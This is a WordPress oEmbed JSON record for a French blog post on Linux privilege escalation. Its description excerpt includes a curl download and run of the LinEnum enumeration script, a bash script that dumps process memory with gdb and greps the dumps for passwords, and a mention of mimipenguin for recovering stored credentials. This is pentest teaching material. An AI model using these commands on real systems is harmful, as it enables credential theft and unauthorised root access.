{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Escalade de privil\u00e8ges avec Linux - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"lq1ohMxKmu\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/escalade-de-privileges-avec-linux\/\">Escalade de privil\u00e8ges avec Linux<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/23\/escalade-de-privileges-avec-linux\/embed\/#?secret=lq1ohMxKmu\" width=\"600\" height=\"338\" title=\"&laquo; Escalade de privil\u00e8ges avec Linux &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"lq1ohMxKmu\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"Voir l&#8217;information qui peut nous permettre d&#8217;escalader nos privil\u00e8ges vers un shell administrateur # curl -o \/LinEnum https:\/\/raw.githubusercontent.com\/rebootuser\/LinEnum\/master\/LinEnum.sh # bash .\/linEnum -r \/tmp\/report V\u00e9rifier les protections utilis\u00e9s https:\/\/raw.githubusercontent.com\/germainm\/check_linux_defenses\/main\/enumerate_linux_defenses.sh Extraire la m\u00e9moire d&#8217;un processus \u00e0 la recherche de mots de passe #!\/bin\/bash #.\/dump-memory.sh &lt;PID&gt; grep rw-p \/proc\/$1\/maps  &nbsp;&nbsp;&nbsp;&nbsp;| sed -n &#039;s\/^(*)-(*) .*$\/1 2\/p&#039;  &nbsp;&nbsp;&nbsp;&nbsp;| while read start stop; do  &nbsp;&nbsp;&nbsp;&nbsp;gdb --batch --pid $1 -ex  &nbsp;&nbsp;&nbsp;&nbsp;&quot;dump memory $1-$start-$stop.dump 0x$start 0x$stop&quot;;  done .\/dump-memory.sh &lt;PID&gt; strings *.dump | grep -i password mimipenguin peut retourver les mots de passe ( GDM password, Gnome Keyring, LightDM, VSFTPd, Apache2, OpenSSH ) V\u00e9rifier"}